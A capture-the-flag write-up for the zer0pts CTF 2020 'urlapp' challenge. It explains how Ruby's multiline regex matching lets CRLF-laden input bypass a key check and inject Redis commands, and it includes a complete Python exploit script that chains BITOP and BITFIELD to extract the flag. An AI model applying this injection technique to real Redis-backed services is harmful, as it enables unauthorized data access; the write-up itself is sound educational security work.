Try   HackMD

[zer0pts CTF 2020] urlapp

tags: zer0pts CTF

overview

It was a URL shortening service built with sinatra and redis. the flag was in the redis as the flag key, but we can get keys [0-9a-f]{16} formmatted only.

solution

However, ruby's regexp is a bit of weak. As default, it process given string as multiple line string. So strings like a "GET flag\naaaaaaaaaaaaaaaa" pass the check.

And because of handcrafted redis client, we can inject any redis command as we like.

Thouth we can do redis command injection, but simply GET flag won't be worked, just returned empty result. Because WEBrick server's redirect instruction could not handle url like http://3.112.201.75:8004/zer0pts{....

My approach is:

  • copy flag to another name (because flag is overwritten every request). to do this, we can use BITOP operation even RENAME is forbidden.
  • replace flag's i-th character to _ using BITFIELD. if we succeed to replace { and }, then http response can include the flag like zer0pts_......_

The script is

import requests import os import re from binascii import hexlify SERVER = 'http://3.112.201.75:8004' r = requests.post(SERVER, data={ "url": "http://example.com/" }) short = r.text.split("=")[1] index = 8 while True: key = hexlify(os.urandom(8)).decode() requests.get(SERVER, params={ "q": "{short}\n\r\nBITOP AND {key} flag flag\r\nBITFIELD {key} SET u8 #7 95 SET u8 #{index} 95\r\n".format(short=short, key=key, index=index) }) try: r = requests.get(SERVER, params={ "q": key }) if len(r.text) > 0: print(re.findall("zer0pts[a-zA-Z0-9_\+\!\?]+", r.text)) break except: pass index += 1 print(index, key)

then we got the flag zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}